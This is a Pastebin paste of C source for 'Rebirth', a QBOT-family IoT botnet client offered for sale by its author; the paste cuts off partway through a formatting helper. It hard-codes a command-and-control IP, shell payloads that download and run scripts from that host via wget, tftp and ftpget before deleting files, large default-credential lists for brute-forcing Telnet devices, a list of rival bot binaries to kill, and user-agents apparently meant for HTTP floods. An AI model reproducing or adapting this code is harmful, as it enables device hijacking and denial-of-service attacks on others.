Jihadi4Prez

[QBOT] Rebirthv5

Feb 5th, 2017
4,887
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 75.75 KB | None | 0 0
  1. /*
  2. volatile is your babby daddy no questions asked
  3. b1nary good job on putting tags on HTTP flood dumb dumb
  4. fixed version for kofuku lolol
  5.  
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.  
  15. ,..oooooooooob..
  16. ,.dodOOOO"""""":"ooPO88bo..
  17. .o8O""" ' "'"""PO8b.
  18. .dd8P'" ''::Y8o.
  19. ,d8Po' "':7Ob;
  20. d8P::' ';:8b.
  21. ;d8''" ';Y8;
  22. ,d8O:' ';:8b.
  23. ,88o:' ';Yb.
  24. ,8P::' . ';Yb
  25. ,8o;:' ,;' ':8b
  26. ,8:::' ;: :;8b
  27. d8o;:: o: ::8,
  28. ,8'::: ::: :;Y8
  29. 8'oo:' ::: :::8:
  30. dP;:YO ':::;.;;:::Y8.
  31. ,8:::;Yb :b::::::::::8b
  32. dO;::::8b 'Yb::::::::::8.
  33. ,8;:::::O8, 'Y88::::::::8:
  34. 8P;::::::88 `8O::::::::O
  35. d::::::::88: O8;:::::::8
  36. 8:::::::888: 88b:::::::O:
  37. ,8::::::::88: :888Oooo::;Y:
  38. dO:::::::bO8: ..:.::::::::::...: :888888P;::db
  39. OP:::::::O88: ..o8888:::::::::::::)8888bo.. O8888O:::::8
  40. O;::::::::88' ..od888888888::::"""":::88888888888oo; `8888;:::::8
  41. O:::ob:::;8: ,d88888888888888:: ':88888888888888b; '"88;:::::8
  42. OO::;Yo::OP' d888888888888888O:' ,.;8888888888888888b ,88::::::8
  43. YO:::;Y::Ob ,8888888888888888;:: :;88888888888888888 :88::::::8
  44. 8;::::b;8' :8888888888888888o:: ':8888888888888888 :888d::)88
  45. Y:::::88P 888888888888888888' 'O888888888888888 :88888888P
  46. `b:::;8O d888888888888888P' ,8888888888888888 '88888888:
  47. Y::::8: ,88888888888888P: .. '8888888888888888 Y8888888:
  48. 8O::;8' :88888888888888: d88, ':Y88888888888888 '8888888:
  49. 'YbooO :8888888888P:8P: :8888: '':Y8888888888P "Y888YP
  50. '888: 8888888P:;'8O:' :8P88b '"O888888P" ;:;o'
  51. `88: "oOOo:.::)O:;: :8:888. :8b' :::'
  52. 88: '"""" ,do;:' ,88bO88b ,.o::PO:;.;. :::'
  53. 88'; :' `Yb d88O`888b O8"::::o::::::::::o:;
  54. 8O::b ;: '' d88Po O888 :8;:""" '";88::::o:::
  55. YO:;Yb :o.;:: O8P.: O888 'Y:: :YO8b:::::O'
  56. Y:::8b o;O:::;. OO;:: OO;' ''" .;bO88"d:od'
  57. `b::;8: :8bo::::;. OO::: OK: ,;:8888P',8OP"
  58. Yb:;OO O888b::::;. 'O:O",;"' ;o8888P :O"
  59. '`Y888. :88888:::::: ':' db ;o8888P 8P
  60. '`8; O8888:::::: '8' :o8888P :8'
  61. OO: :8888:::::: Y: ,::;888' :8
  62. `8, o888"::::' ' ;:::88: OP
  63. ,8: O888O8POYOOO"OPOOPYO8OO8OO888888888' O:
  64. 88: '888o::o':Y: d O 'Y:'8: O"Y:`K:8o; 8'
  65. 88O; ;88o;:::: : : : ' `: ' ,:8 : :8
  66. O8O:. ,:OP"8bd;':: d... ,. .db.'"8 :: :O ~Rebirth~
  67. ,88O::. ;:O: O"'"YP"YPYP'YO"""`8K`O"O `b:O.:; :O
  68. 888o:::.:;Ob : :::: :::: :P , OO : : O;:::: ;:O
  69. 888O::::::::`dbd::b.d::: :: db ::,d.8o;O;::::::dP
  70. 888::::::::;:"""""Y8888od8d88o8P""'" ':::::'d'
  71. "Y88Odo:":::: `""""' ':::)P'
  72. ""88888O::: ;::dP
  73. '""88O::: oo; ;O88'
  74. `Y8O::. ,. . '8b::O88'
  75. Y8b::. ,)O ,;' ::O88'
  76. '88d:..: ,d: ;'d88'
  77. 'Y88d::;.;:8b, ,..:O88P'
  78. ""88oodO888O::::bd88P'
  79. '`8888888888888P"'
  80. """"""""'
  81.  
  82. */
  83. /*
  84. Rebirth Is an ongoing project, that will have many builds, and updates.
  85. This Client is being constantly worked on.
  86. Anyone that bought Rebirth Legitly will have access to the builds, and updates.
  87. For anyone that leeches, or leaks, well fuck you.
  88. */
  89. /*
  90. *** THIS BUILD WAS RELEASED ON 11-8-16
  91.  
  92.  
  93. *** Rebirth Client ***
  94. *** Build 3 ***
  95.  
  96. Made By ~B1NARY~
  97. Made Date: 11-7-16
  98.  
  99. Twitter: @P2PBOTNET
  100. Instragram: @Rebirth.c
  101. Skype: b1narythag0d
  102.  
  103. */
  104. /*
  105. Things Coming to Build 4.
  106. Build 4 Release Date: 11-18-16
  107.  
  108. [+] Working SSH Scanner.
  109. [+] More Ranges, in The Python Scanner.
  110. [+] Bot Killer.
  111. [+] And More.
  112. */
  113. #include <stdlib.h>
  114. #include <stdarg.h>
  115. #include <stdio.h>
  116. #include <sys/socket.h>
  117. #include <sys/types.h>
  118. #include <netinet/in.h>
  119. #include <arpa/inet.h>
  120. #include <netdb.h>
  121. #include <signal.h>
  122. #include <strings.h>
  123. #include <sys/utsname.h>
  124. #include <unistd.h>
  125. #include <fcntl.h>
  126. #include <errno.h>
  127. #include <netinet/ip.h>
  128. #include <netinet/udp.h>
  129. #include <netinet/tcp.h>
  130. #include <sys/wait.h>
  131. #include <sys/ioctl.h>
  132. #include <net/if.h>
  133. #include <time.h>
  134. #include <dirent.h>
  135. #include <limits.h>
  136. #include <sys/stat.h>
  137. #include <sys/time.h>
  138. #include <string.h>
  139. #include <stdint.h>
  140. #include <stdio.h>
  141. #include <sys/param.h>
  142. #include <sys/time.h>
  143. //#include <libbb.h>
  144. // kofuku your a skid
  145. #define PR_SET_NAME 15
  146. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  147. #define PAD_RIGHT 1
  148. #define PAD_ZERO 2
  149. #define PRINT_BUF_LEN 12
  150. #define CMD_IAC 255
  151. #define CMD_WILL 251
  152. #define CMD_WONT 252
  153. #define CMD_DO 253
  154. #define CMD_DONT 254
  155. #define OPT_SGA 3
  156. #define SOCKBUF_SIZE 1024
  157.  
  158.  
  159.  
  160. char *getBuild() {
  161. #if defined(__x86_64__) || defined(_M_X64)
  162. return "x86_64";
  163. #elif defined(__i386) || defined(_M_IX86)
  164. return "x86_32";
  165. #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
  166. return "ARM-4";
  167. #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
  168. return "ARM-5"
  169. #elif defined(__ARM_ARCH_6_) || defined(__ARM_ARCH_6T2_)
  170. return "ARM-6";
  171. #elif defined(_mips__mips) || defined(__mips) || defined(__MIPS_) || defined(_mips)
  172. return "MIPS";
  173. #elif defined(__sh__)
  174. return "SUPERH";
  175. #elif defined(__powerpc) || defined(__powerpc_) || defined(_ppc_) || defined(__PPC__) || defined(_ARCH_PPC)
  176. return "POWERPC";
  177. #else
  178. return "UNKNOWN";
  179. #endif
  180. }
  181. const char *useragents[] = {
  182. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  183. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  184. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  185. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  186. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  187. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  188. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  189. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  190. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  191. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  192. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  193. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  194. "wii libnup/1.0",
  195. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  196. "PSP (PlayStation Portable); 2.00",
  197. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  198. "Doris/1.15 [en] (Symbian)",
  199. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  200. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  201. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  202. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  203. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  204. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  205. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  206. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  207. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  208. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  209. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  210. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  211. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  212. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  213. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  214. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  215. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  216. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  217. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  218. };
  219. struct telstate_t {
  220. int fd;
  221. unsigned int ip;
  222. unsigned char state;
  223. unsigned char complete;
  224. unsigned char usernameInd; /* username */
  225. unsigned char passwordInd; /* password */
  226. unsigned char tempDirInd; /* tempdir */
  227. unsigned int tTimeout; /* totalTimeout */
  228. unsigned short bufUsed;
  229. char *sockbuf;
  230. };
  231. int initConnection();
  232. void makeRandomStr(unsigned char *buf, int length);
  233. int sockprintf(int sock, char *formatStr, ...);
  234. char *inet_ntoa(struct in_addr in);
  235. int mainCommSock = 0, currentServer = -1;
  236. uint32_t *pids;
  237. uint32_t scanPid;
  238. uint64_t numpids = 0;
  239. struct in_addr ourIP;
  240. unsigned char macAddress[6] = {0};
  241.  
  242.  
  243. unsigned char *commServer[] = { "185.82.203.23:5" };
  244. char *Busybox_Payload = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.82.203.23/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 185.82.203.23 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.82.203.23; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.82.203.23 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *;exit";
  245. char *Payload = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.82.203.23/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 185.82.203.23 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.82.203.23; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.82.203.23 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *;exit";
  246.  
  247.  
  248. char *Telnet_Usernames[] = {
  249. "telnet\0", //telnet:telnet
  250. "root\0", //root:root
  251. "admin\0", //admin:toor
  252. "user\0", //user:admin
  253. "login\0", //login:user
  254. "guest\0", //guest:guest
  255. "support\0" //support:login
  256. "root\0", //root:netgear1
  257. "root\0", //root:maxided
  258. "CISCO\0", //CISCO:CISCO
  259. "oracle\0", //oracle:oracle
  260. "tim\0", //tim:tim
  261. };
  262. char *Telnet_Passwords[] = {
  263. "telnet\0", //telnet:telnet
  264. "root\0", //root:root
  265. "toor\0", //admin:toor
  266. "admin\0", //user:admin
  267. "user\0", //login:user
  268. "guest\0", //guest:guest
  269. "login\0", //support:login
  270. "changeme\0", //(none):changeme
  271. "1234\0", //(none):1234
  272. "12345\0", //(none):12345
  273. "123456\0", //(none):123456
  274. "default\0", //(none):default
  275. "pass\0", //(none):pass
  276. "password\0", //(none):password
  277. "support\0", //(none):support
  278. "\0" //(none):(none)
  279. "maxided\0" //root:maxided
  280. "oracle\0", //oracle:oracle
  281. "tim\0", //tim:tim
  282. };
  283. /*
  284. char *Mirai_Usernames[] = {"root\0", "admin\0", "support\0", "user\0", "guest\0", "admin1\0", "administrator\0", "Administrator\0", "666666\0", "888888\0", "ubnt\0", "tech\0", "mother\0", "service\0", "supervisor\0"};
  285. char *Mirai_Passwords[] = {"xc3511\0", "vizxv\0", "admin\0", "888888\0", "xmhdipc\0", "default\0", "juantech\0", "123456\0", "54321\0", "support\0", "\0", "root\0", "12345\0", "user\0", "pass\0", "admin1234\0", "1111\0", "smcadmin\0", "1234\0", "666666\0", "password\0", "klv123\0", "service\0", "supervisor\0", "ubnt\0", "klv1234\0", "Zte521\0", "hi3518\0", "jvbzd\0", "anko\0", "zlxx.\0", "7ujMko0vizxv\0", "7ujMko0admin\0", "system\0", "ikwb\0", "dreambox\0", "realtek\0", "00000000\0", "1111111\0", "meinsm\0", "fucker\0"};
  286. */
  287. /*
  288. char *Mirai_Usernames[] = {"root\0", "root\0", "root\0", "admin\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "support\0", "root\0", "admin\0", "root\0", "root\0", "user\0", "admin\0", "root\0", "admin\0", "root\0", "admin\0", "admin\0", "root\0", "root\0", "root\0", "root\0", "Administrator\0", "service\0", "supervisor\0", "guest\0", "guest\0", "admin1\0", "administrator\0", "666666\0", "888888\0", "ubnt\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "root\0", "admin\0"};
  289. char *Mirai_Passwords[] = {"xc3511\0", "vizxv\0", "admin\0", "admin\0", "888888\0", "xmhdipc", "default\0", "juantech\0", "123456\0", "54321\0", "support\0", "\0", "password\0", "root\0", "12345\0", "user\0", "\0", "pass\0", "admin1234\0", "1111\0", "smcadmin\0", "1111\0", "666666\0", "password\0", "1234\0", "klv123", "admin\0", "service\0", "supervisor\0", "guest\0", "12345\0", "password\0", "1234\0", "666666\0", "888888\0", "ubnt\0", "klv1234\0", "Zte521\0", "hi3518\0", "jvbzd\0", "anko\0", "zlxx.\0", "zlxx.\0", "7ujMko0vizxv\0", "7ujMko0admin\0", "system\0", "ikwb\0", "dreambox\0", "user\0", "realtek\0", "00000000\0", ""};
  290. */
  291. char *Mirai_Usernames[] = {
  292. "root\0", //root:xc3511
  293. "root\0", //root:vizxv
  294. "root\0", //root:admin
  295. "admin\0", //admin:admin
  296.  
  297. "root\0", //root:888888
  298. "root\0", //root:xmhdipc
  299. "root\0", //root:default
  300. "root\0", //root:juantech
  301.  
  302. "root\0", //root:123456
  303. "root\0", //root:54321
  304. "support\0", //support:support
  305. "root\0", //root:(none)
  306.  
  307. "admin\0", //admin:password
  308. "root\0", //root:root
  309. "root\0", //root:12345
  310. "user\0", //user:user
  311.  
  312. "admin\0", //admin:(none)
  313. "root\0", //root:pass
  314. "admin\0", //admin:admin1234
  315. "root\0", //root:1111
  316.  
  317. "admin\0", //admin:smcadmin
  318. "admin\0", //admin:1111
  319. "root\0", //root:666666
  320. "root\0", //root:password
  321.  
  322. "root\0", //root:1234
  323. "root\0", //root:klv123
  324. "Administrator\0", //Administrator:admin
  325. "service\0", //service:service
  326.  
  327. "supervisor\0", //supervisor:supervisor
  328. "guest\0", //guest:guest
  329. "guest\0", //guest:12345
  330. "guest\0", //guest:12345
  331.  
  332. "admin1\0", //admin1:password
  333. "administrator\0", //administrator:1234
  334. "666666\0", //666666:666666
  335. "888888\0", //888888:888888
  336. "ubnt\0", //ubnt:ubnt
  337.  
  338. "klv1234\0", //root:klv1234
  339. "Zte521\0", //root:Zte521
  340. "hi3518\0", //root:hi3518
  341. "jvbzd\0", //root:jvbzd
  342.  
  343. "anko\0", //root:anko
  344. "zlxx\0", //root:zlxx
  345. "7ujMko0vizxv\0", //root:7ujMko0vizxv
  346. "7ujMko0admin\0", //root:7ujMko0admin
  347.  
  348. "system\0", //root:system
  349. "ikwb\0", //root:ikwb
  350. "dreambox\0", //root:dreambox
  351. "user\0", //root:user
  352.  
  353. "realtek\0", //root:realtek
  354. "00000000\0", //root:00000000
  355. "1111111\0", //admin:1111111
  356. "1234\0", //admin:1234
  357.  
  358. "12345\0", //admin:12345
  359. "54321\0", //admin:54321
  360. "123456\0", //admin:123456
  361. "7ujMko0admin\0", //admin:7ujMko0admin
  362.  
  363. "1234\0", //admin:1234
  364. "pass\0", //admin:pass
  365. "meinsm\0", //admin:meinsm
  366. "tech\0", //tech:tech
  367.  
  368. "fucker\0", //mother:fucker
  369. };
  370. char *Mirai_Passwords[] = {
  371. "xc3511\0", //root:xc3511
  372. "vizxv\0", //root:vizxv
  373. "admin\0", //root:admin
  374. "admin\0", //admin:admin
  375.  
  376. "888888\0", //root:888888
  377. "xmhdipc\0", //root:xmhdipc
  378. "default\0", //root:default
  379. "juantech\0", //root:juantech
  380.  
  381. "123456\0", //root:123456
  382. "54321\0", //root:54321
  383. "support\0", //support:support
  384. "\0", //root:(none)
  385.  
  386. "password\0", //admin:password
  387. "root\0", //root:root
  388. "12345\0", //root:12345
  389. "user\0", //user:user
  390.  
  391. "\0", //admin:(none)
  392. "pass\0", //root:pass
  393. "admin1234\0", //admin:admin1234
  394. "1111\0", //root:1111
  395.  
  396. "smcadmin\0", //admin:smcadmin
  397. "1111\0", //admin:1111
  398. "666666\0", //root:666666
  399. "password\0", //root:password
  400.  
  401. "1234\0", //root:1234
  402. "klv123\0", //root:klv123
  403. "admin\0", //Administrator:admin
  404. "service\0", //service:service
  405.  
  406. "supervisor\0", //supervisor:supervisor
  407. "guest\0", //guest:guest
  408. "12345\0", //guest:12345
  409. "12345\0", //guest:12345
  410.  
  411. "password\0", //admin1:password
  412. "1234\0", //administrator:1234
  413. "666666\0", //666666:666666
  414. "888888\0", //888888:888888
  415. "ubnt\0", //ubnt:ubnt
  416.  
  417. "klv1234\0", //root:klv1234
  418. "Zte521\0", //root:Zte521
  419. "hi3518\0", //root:hi3518
  420. "jvbzd\0", //root:jvbzd
  421.  
  422. "anko\0", //root:anko
  423. "zlxx\0", //root:zlxx
  424. "7ujMko0vizxv\0", //root:7ujMko0vizxv
  425. "7ujMko0admin\0", //root:7ujMko0admin
  426.  
  427. "system\0", //root:system
  428. "ikwb\0", //root:ikwb
  429. "dreambox\0", //root:dreambox
  430. "user\0", //root:user
  431.  
  432. "realtek\0", //root:realtek
  433. "00000000\0", //root:00000000
  434. "1111111\0", //admin:1111111
  435. "1234\0", //admin:1234
  436.  
  437. "12345\0", //admin:12345
  438. "54321\0", //admin:54321
  439. "123456\0", //admin:123456
  440. "7ujMko0admin\0", //admin:7ujMko0admin
  441.  
  442. "1234\0", //admin:1234
  443. "pass\0", //admin:pass
  444. "meinsm\0", //admin:meinsm
  445. "tech\0", //tech:tech
  446.  
  447. "fucker\0", //mother:fucker
  448. };
  449. char *SSH_Usernames[] = {"root\0"};
  450. char *SSH_Passwords[] = {""};
  451.  
  452. char *Bot_Killer_Binarys[] = {
  453. "mips",
  454. "mipsel",
  455. "sh4",
  456. "x86",
  457. "i686",
  458. "ppc",
  459. "i586",
  460. "i586",
  461. "jackmymips",
  462. "jackmymips64",
  463. "jackmymipsel",
  464. "jackmysh2eb",
  465. "jackmysh2elf",
  466. "jackmysh4",
  467. "jackmyx86",
  468. "jackmyarmv5",
  469. "jackmyarmv4tl",
  470. "jackmyarmv4",
  471. "jackmyarmv6",
  472. "jackmyi686",
  473. "jackmypowerpc",
  474. "jackmypowerpc440fp",
  475. "jackmyi586",
  476. "jackmym68k",
  477. "jackmysparc",
  478. "hackmymips",
  479. "hackmymipsel",
  480. "hackmysh4",
  481. "hackmyx86",
  482. "hackmyarmv6",
  483. "hackmyi686",
  484. "hackmypowerpc",
  485. "hackmyi586",
  486. "hackmym68k",
  487. "hackmysparc",
  488. "arm"
  489. "armv5l"
  490. "armv6l"
  491. "b1",
  492. "b2",
  493. "b3",
  494. "b4",
  495. "b5",
  496. "b6",
  497. "b7",
  498. "b8",
  499. "b9",
  500. "busyboxterrorist",
  501. "DFhxdhdf",
  502. "dvrHelper",
  503. "FDFDHFC",
  504. "FEUB",
  505. "FTUdftui",
  506. "GHfjfgvj",
  507. "jackmyarmv5l",
  508. "jackmyarmv6l",
  509. "jackmyarv6",
  510. "jackmymips",
  511. "jackmymipsel",
  512. "jackmyx86",
  513. "jhUOH",
  514. "JIPJIPJj",
  515. "JIPJuipjh",
  516. "kmyx86_64",
  517. "lolmipsel",
  518. "mips",
  519. "mipsel",
  520. "RYrydry",
  521. "telarmv6l",
  522. "telmips",
  523. "telmipsel",
  524. "telx86",
  525. "TwoFacearmv61",
  526. "TwoFacei586",
  527. "TwoFacei686",
  528. "TwoFacem86k",
  529. "TwoFacemips",
  530. "TwoFacemipsel",
  531. "TwoFacepowerpc",
  532. "TwoFacesh4",
  533. "TwoFacesparc",
  534. "TwoFacex86_64",
  535. "UYyuyioy",
  536. "wget",
  537. "x86_64",
  538. "XDzdfxzf",
  539. "xxb1",
  540. "xxb2",
  541. "xxb3",
  542. "xxb4",
  543. "xxb5",
  544. "xxb6",
  545. "xxb7",
  546. "xxb8",
  547. "xxb9",
  548. "sh",
  549. "1",
  550. "2",
  551. "3",
  552. "4",
  553. "5",
  554. "6",
  555. "7",
  556. "8",
  557. "9",
  558. "10",
  559. "11",
  560. "12",
  561. "13",
  562. "14",
  563. "15",
  564. "16",
  565. "17",
  566. "18",
  567. "19",
  568. "20"
  569. };
  570.  
  571.  
  572. char* advances[] = {":", "user", "ogin", "name", "pass", "dvrdvs", (char*)0};
  573. char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  574. char* successes[] = {"busybox", "$", "#", "shell", "dvrdvs", (char*)0};
  575. char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  576.  
  577. #define PHI 0x9e3779b9
  578. static uint32_t Q[4096], c = 362436;
  579. void init_rand(uint32_t x) {
  580. int i;
  581. Q[0] = x;
  582. Q[1] = x + PHI;
  583. Q[2] = x + PHI + PHI;
  584. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  585. }
  586. uint32_t rand_cmwc(void) {
  587. uint64_t t, a = 18782LL;
  588. static uint32_t i = 4095;
  589. uint32_t x, r = 0xfffffffe;
  590. i = (i + 1) & 4095;
  591. t = a * Q[i] + c;
  592. c = (uint32_t)(t >> 32);
  593. x = t + c;
  594. if (x < c) {
  595. x++;
  596. c++;
  597. }
  598. return (Q[i] = r - x);
  599. }
  600. int contains_string(char* buffer, char** strings) {
  601. int num_strings = 0, i = 0;
  602. for(num_strings = 0; strings[++num_strings] != 0; );
  603. for(i = 0; i < num_strings; i++) {
  604. if(strcasestr(buffer, strings[i])) {
  605. return 1;
  606. }
  607. }
  608. return 0;
  609. }
  610. int contains_success(char* buffer) {
  611. return contains_string(buffer, successes);
  612. }
  613. int contains_fail(char* buffer) {
  614. return contains_string(buffer, fails);
  615. }
  616. int contains_response(char* buffer) {
  617. return contains_success(buffer) || contains_fail(buffer);
  618. }
  619. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {
  620. fd_set read_set;
  621. struct timeval tv;
  622. tv.tv_sec = 0;
  623. tv.tv_usec = timeout_usec;
  624. FD_ZERO(&read_set);
  625. FD_SET(fd, &read_set);
  626. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  627. return 0;
  628. return recv(fd, buffer, buf_size, 0);
  629. }
  630. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {
  631. int num_bytes, i;
  632. memset(buffer, 0, buf_size);
  633. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  634. if(buffer[0] == 0xFF) {
  635. negotiate(fd, buffer, 3);
  636. }
  637.  
  638. if(contains_string(buffer, strings)) {
  639. return 1;
  640. }
  641.  
  642. return 0;
  643. }
  644. const char* get_telstate_host(struct telstate_t* telstate) { // get host
  645. struct in_addr in_addr_ip;
  646. in_addr_ip.s_addr = telstate->ip;
  647. return inet_ntoa(in_addr_ip);
  648. }
  649. void advance_telstate(struct telstate_t* telstate, int new_state) { // advance
  650. if(new_state == 0) {
  651. close(telstate->fd);
  652. }
  653. telstate->tTimeout = 0;
  654. telstate->state = new_state;
  655. memset((telstate->sockbuf), 0, SOCKBUF_SIZE);
  656. }
  657. void reset_telstate(struct telstate_t* telstate) { // reset
  658. advance_telstate(telstate, 0);
  659. telstate->complete = 1;
  660. }
  661. void trim(char *str) {
  662. int i;
  663. int begin = 0;
  664. int end = strlen(str) - 1;
  665.  
  666. while (isspace(str[begin])) begin++;
  667.  
  668. while ((end >= begin) && isspace(str[end])) end--;
  669. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  670.  
  671. str[i - begin] = '\0';
  672. }
  673. static void printchar(unsigned char **str, int c) {
  674. if (str) {
  675. **str = c;
  676. ++(*str);
  677. }
  678. else (void)write(1, &c, 1);
  679. }
  680. static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
  681. register int pc = 0, padchar = ' ';
  682. if (width > 0) {
  683. register int len = 0;
  684. register const unsigned char *ptr;
  685. for (ptr = string; *ptr; ++ptr) ++len;
  686. if (len >= width) width = 0;
  687. else width -= len;
  688. if (pad & PAD_ZERO) padchar = '0';
  689. }
  690. if (!(pad & PAD_RIGHT)) {
  691. for ( ; width > 0; --width) {
  692. printchar (out, padchar);
  693. ++pc;
  694. }
  695. }
  696. for ( ; *string ; ++string) {
  697. printchar (out, *string);
  698. ++pc;
  699. }
  700. for ( ; width > 0; --width) {
  701. printchar (out, padchar);
  702. ++pc;
  703. }
  704. return pc;
  705. }
  706. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
  707. unsigned char print_buf[PRINT_BUF_LEN];
  708. register unsigned char *s;
  709. register int t, neg = 0, pc = 0;
  710. register unsigned int u = i;
  711. if (i == 0) {
  712. print_buf[0] = '0';
  713. print_buf[1] = '\0';
  714. return prints (out, print_buf, width, pad);
  715. }
  716. if (sg && b == 10 && i < 0) {
  717. neg = 1;
  718. u = -i;
  719. }
  720.  
  721. s = print_buf + PRINT_BUF_LEN-1;
  722. *s = '\0';
  723. while (u) {
  724. t = u % b;
  725. if( t >= 10 )
  726. t += letbase - '0' - 10;
  727. *--s = t + '0';
  728. u /= b;
  729. }
  730. if (neg) {
  731. if( width && (pad & PAD_ZERO) ) {
  732. printchar (out, '-');
  733. ++pc;
  734. --width;
  735. }
  736. else {
  737. *--s = '-';
  738. }
  739. }
  740.  
  741. return pc + prints (out, s, width, pad);
  742. }
  743. static int print(unsigned char **out, const unsigned char *format, va_list args ) {
  744. register int width, pad;
  745. register int pc = 0;
  746. unsigned char scr[2];
  747. for (; *format != 0; ++format) {
  748. if (*format == '%') {
  749. ++format;
  750. width = pad = 0;
  751. if (*format == '\0') break;
  752. if (*format == '%') goto out;
  753. if (*format == '-') {
  754. ++format;
  755. pad = PAD_RIGHT;
  756. }
  757. while (*format == '0') {
  758. ++format;
  759. pad |= PAD_ZERO;
  760. }
  761. for ( ; *format >= '0' && *format <= '9'; ++format) {
  762. width *= 10;
  763. width += *format - '0';
  764. }
  765. if( *format == 's' ) {
  766. register char *s = (char *)va_arg( args, int );
  767. pc += prints (out, s?s:"(null)", width, pad);
  768. continue;
  769. }
  770. if( *format == 'd' ) {
  771. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  772. continue;
  773. }
  774. if( *format == 'x' ) {
  775. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  776. continue;
  777. }
